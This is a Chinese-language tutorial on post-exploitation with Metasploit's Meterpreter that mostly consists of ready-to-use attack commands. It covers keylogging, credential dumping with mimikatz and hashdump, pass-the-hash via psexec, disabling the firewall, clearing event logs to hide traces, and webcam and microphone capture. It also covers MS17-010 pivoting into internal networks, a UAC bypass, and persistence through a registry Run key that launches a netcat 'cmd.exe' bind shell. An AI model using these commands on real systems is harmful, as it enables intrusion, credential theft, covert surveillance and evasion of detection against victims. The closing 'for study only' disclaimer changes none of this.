一、前言
我们知道前端安全包括了SQL注入,任意文件上传,XSS,CSRF,逻辑漏洞,跨域漏洞等等,我们可以将这些漏洞加以利用或组合来进行getshell的。在这里我们再区分一下getshell和webshell的区别,webshell更多的是获取前端的权限,顾名思义,一般仅限于前端或文件的增删改查;那么getshell则是获取更大的权限。一般的思路为挖掘漏洞,通过漏洞加以组合或利用获取webshell或后台权限,之后再进一步getshell。
二、后渗透之meterpreter
Meterpreter 是Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用, 攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系 统的一个 Meterpreter shell 的链接。
Meterpreter 能够躲避入侵检测系 统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS[基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有 经验的人也会变得非常困难。
meterpreter常用命令
1.基本命令
help# 查看 Meterpreter 帮助
background#返回,把 meterpreter 后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number 表示第 n 个 session,使用 session -i 连接 到指定序号的 meterpreter 会话已继续利用
sessions -k number #与会话进行交互
sessions -j #
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本, 常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的 rc 脚本
2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dir #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir #列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\www -f web.config #search 文件,如 search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea.bat c:\xamp\ enumdesktops #用户登录数
execute # 目标主机上执行一个命令
3.网络命令
ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444,把目标机 3389 转 到本机 4444
netstat -an | grep“4444" #查看指定端口开放情况
rdesktop -u Administrator -p p@ssw0rd 127.0.0.1:4444 #使用 rdesktop 来连接 桌面,-u 用户名 -p 密码
rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
route#查看或修改受害者路由表
route add 192.168.1.0 255.255.255.0 1 #添加动态路由
route print #路由表输出
runget_local_subnets #目标主机的内网 IP 段情况
Arp #看 ARP 缓冲表
Getproxy #获取代
4.键盘监听
Meterpreter 还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。
meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
meterpreter > keyscan_stop #停止针对目标主机的键盘记录
5.系统命令
reboot#重新启动受害人的计算机
reg #与受害人的注册表进行交互
rev2self#回到控制目标主机的初始用户账户下
shell#获得控制台权限 shutdown#关闭了受害者的计算机
sysinfo # 查看目标机系统信息,如机器名,操作系统等
getgui #(创建一个用户,客户端化)
run getgui –h #查看帮助
run getgui –e #开启远程桌面
run getgui -u Star_Cheng -p 123321 #添加用户
run getgui -f 4446 –e #3389 端口转发到 4446
shell 命令 获取目标主机的远程命令行 shell,如果出错,考虑是目标主机限制了 cmd.exe 的访问权,可以使用 migrate 注入到管理员用户进程中再尝试
6.mimikatz
meterpreter > load mimikatz #加载 mimikatz
meterpreter > msv #获取 hash 值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
7.网络嗅探
meterpreter > use sniffer # 加载嗅探模块
meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动 嗅探
meterpreter > sniffer_stop 2 #停止嗅探
8.获取敏感信息
run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取 IE 缓存
run post/windows/gather/enum_chrome #获取 Chrome 缓存
run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下
9.获取 Hash
使用“hashdump”命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主 机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密
meterpreter > run post/windows/gather/smart_hashdump
run post/windows/gather/hashdump
10.通过 Hash 获取权限
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
11.捕捉屏幕
meterpreter > screenshot
12.得到远程桌面
run vnc
13.权限提升
提权大体有以下几种方法: ·
使用 getsystem 提升权限
·利用本地漏洞 ·
假冒令牌 ·绕过 Windows 账户控制(UAC) ·
HASH
(具体方法百度吧,我懒得写了0.0 或者看以后有空再更新一下)
14.清除事件日志
执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。 执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的。(注意这个操作应该需要提权才能成功,我就是没提权,然后一直清楚不来,然后一提权,一下就搞定了)
15.网络摄像头
record_mic #音频录制
webcam_chat #查看摄像头接口
webcam_list #查看摄像头列表
webcam_stream #摄像头视频获取
16. 通过shell 来关闭防火墙
netsh advfirewall set allprofiles state off
三、利用ms17-010漏洞进行后渗透攻击
1、添加后门(持续攻击APT)及清除日志
首先利用漏洞ms17-010渗透进入,拿到meterpreter。过程简单不再赘述。
在 Meterpreter 会 话 中 运 行 persistence 后 渗 透 攻 击 模 块 , 在 目 标 主 机 的 注 册 表 键 KHLM\Software\Microsoft\windows\Currentversion\Run 中添加键值达到自启动的目的;-X 参数 指定启动的方式为开机自启动;-i 参数指定反向连接的时间间隔;然后建立 Meterpreter 的客户 端,-p 参数指定回连的 443 端口进行监听;-r 参数指定回连的主机(攻击机)
选择 exploit/multi/handler 模块,并选择 Meterpreter 回连会话的攻击载荷,执行 exploit 命令将开启监听,等目标主机重启之后,会通过注册表项中的自启动键设置启动 Meterpreter 攻击载 荷,成功建立反向连接。
我们通过远程入侵主机,会在对方主机日志中留下记录。所以我们需要删除日志信息,清除痕迹。输入clearev 清除日志(注意删除日志首先需要提权操作)
如图成功删除日志
2、以win7为靶机做跳板,进行其他网段信息收集ms17-010漏洞进行攻击
首先查看已拿下主机的内网ip段情况 run get_local_subnets
然后添加去往目标内网网段(172.16.16.0/24)的静态路由
使用run autoroute –s 172.16.16.0/24添加路由(这一步忘截图了0.0)
run autoroute –p查看是否添加成功。
设置好路由后对内网进行扫描,扫描内网中打开3389端口的主机,发现有4个
然后对内网主机进行扫描,查看是否存在 ms17_010 漏洞,绿色的表示可能存在该漏洞
接着进行进一步攻击,设置好相应的攻击模块,攻击载荷以及参数
入侵成功并创建会话,进入到了meterpreter
3、把netcat(瑞士军刀)的nc.exe_上传到目标机_上,然后设置开机运行(需要在注册表中设置)
上传nc 到目标机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”
查看内容是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
附:其中一个提权操作
进入目标主机一般是一个比较低级的权限,我们需要通过提权获取一个管理员权限。一般通过getsystem命令会失败。所以我们这儿换一种方法。我们首先查看最初的权限为中等普通权限
然后回到控制台,将当前会话放到后台。 命令:background 如图显示放在会话2
然后换个一个攻击模块。这里用这个,windows/local/bypassuac 这里local是本地的意思,bypass是绕过的意思,然后uac是用来控制windows用户权限的。所以这里的意思就是绕过uac机制进行提权。
设置好后回到会话2 然后开始攻击
可以看到,我们已经拿到一个高的权限了
仅供学习参考,切勿恶意用途!